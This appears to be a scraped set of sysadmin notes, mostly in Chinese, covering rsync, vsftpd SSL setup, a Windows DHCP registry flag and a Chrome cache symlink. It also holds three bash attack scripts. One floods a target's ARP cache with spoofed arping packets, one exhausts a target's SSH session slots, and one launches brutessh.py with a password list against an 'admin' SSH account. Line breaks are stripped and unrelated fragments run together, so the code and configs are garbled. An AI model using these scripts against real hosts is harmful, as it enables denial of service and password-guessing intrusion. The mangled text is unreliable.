http://www.gnu.org/software/hurd/index.html
http://zh.wikipedia.org/wiki/Hurd
http://www.osnews.com/story/25724/Interview_Richard_Stallman
Click Start->regedit->HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}
GUID這邊指的是對應到的NIC,可用wireshark來幫助查詢。
DhcpConnForceBroadcastFlag (0 or 1)
0 indicate unicast
1 indicate broadcast
#!/bin/bashfunction arp_cache_attack{while true;dofor((i=1;i<=100;i++))domac=$(($RANDOM%10))number1=$(($RANDOM%254))number2=$(($RANDOM%254))number3=$(($RANDOM%254))number4=$(($RANDOM%254))arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &donesleep 1kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/nullsync && echo "3" > /proc/sys/vm/drop_cachesecho "re-generate"done}arp_cache_attack
#!/bin/bash# Bind IPread -p "Which interface? [eth0]: " INTERFACEread -p "Net address: [10.10.10] " NETIPread -p "Min IP address: [1] " MiIPread -p "Max IP address:[254] " MaIPfor((i="$MiIP";i<="$MaIP";i++))doip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1doneecho ""# Start to testread -p "Target: [10.10.10.10] " TARGETi=$MiIPnum=1echo ""echo "Preparing for test target: $TARGET"sleep 5while true;dossh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &sleep 1netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"if [ `echo $?` -ne 0 ]; thennum=$(($num-1))echo "The maximum SSH session of $TARGET is $num"kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null breakelseecho "SSH session number $num is established!"i=$(($i+1))num=$(($num+1))fidoneexit
1 #!/bin/bash23 read -p "Please enter your target host: " HOST4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."56 echo -n "[run/exit]? "7 while read LINE;8 do9 if [ $LINE = "run" ]; then10 clear11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &12 sleep 1013 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "14 continue15 elif [ $LINE = "exit" ]; then16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null17 break18 fi19 done
[root@server1 ~]# rpm -qa | grep -i rsyncrsync-3.0.6-5.el6_0.1.i686
service rsync{disable = noflags = IPv6socket_type = streamwait = nouser = rootserver = /usr/bin/rsyncserver_args = --daemonlog_on_failure += USERID}
# any name you like[test]# destination directorypath = /home/backup# Hosts you allow to copy (specify source Host)hosts allow = 10.10.2.126hosts deny = *list = trueuid = rootgid = rootread only = false
[root@server1 ~]# /etc/init.d/xinetd restart正在停止 xinetd: [ 確定 ]正在啟動 xinetd: [ 確定 ]
[root@server1 ~]# rpm -qa | grep rsyncrsync-3.0.6-4.el5_7.1
[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::testsending incremental file list./proxy.pacproxy.pac.ipv4proxy.pac.ipv6wpad.dat -> proxy.pacssl/ssl/index.hrmlsent 3089 bytes received 174 bytes 6526.00 bytes/sectotal size is 5039 speedup is 1.54
Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.
rm -rf ~/Library/Caches/Google/Chrome/Default
ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。
1. 在/etc folder透過find指令尋找全部的檔案。2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。3. 透過cut指令做簡單的filter。4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出,餵給vi。
[root@centos6 ~]# cat /etc/group | grep rootroot:x:0:rootbin:x:1:root,bin,daemondaemon:x:2:root,bin,daemonsys:x:3:root,bin,admadm:x:4:root,adm,daemondisk:x:6:rootwheel:x:10:root
[root@centos6 ~]# groups rootroot : root bin daemon sys adm disk wheel[root@centos6 ~]#
[root@centos6 ~]# ldd `which vsftpd` | grep ssllibssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。
[root@centos6 ~]# cd /etc/pki/tls/certs/[root@centos6 certs]# make vsftpd.pem[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/
anonymous_enable=YESlocal_enable=YESwrite_enable=YESlocal_umask=022dirmessage_enable=YESxferlog_enable=YESconnect_from_port_20=YESxferlog_file=/var/log/vsftpd.logxferlog_std_format=YESchroot_local_user=YESchroot_list_enable=YESchroot_list_file=/etc/vsftpd/chroot_list ->注意!必需要手動產生一個chroot_list的空檔listen=YESpam_service_name=vsftpduserlist_enable=YEStcp_wrappers=YESssl_enable=YESallow_anon_ssl=NOforce_local_data_ssl=YESforce_local_logins_ssl=YESssl_tlsv1=YESssl_sslv2=NOssl_sslv3=NOrsa_cert_file=/etc/vsftpd/vsftpd.pem
[root@centos6 vsftpd]# /etc/init.d/vsftpd restart正在關閉 vsftpd: [ 確定 ]正在啟動 vsftpd 中的 vsftpd: [ 確定 ][root@centos6 vsftpd]#
5.1 設定連線為FTP-SSL
5.2 輸入FTP Server的IP address,系統會警告一個不被信任的憑證,當然此憑證是我剛剛產生的,所以要信任它囉: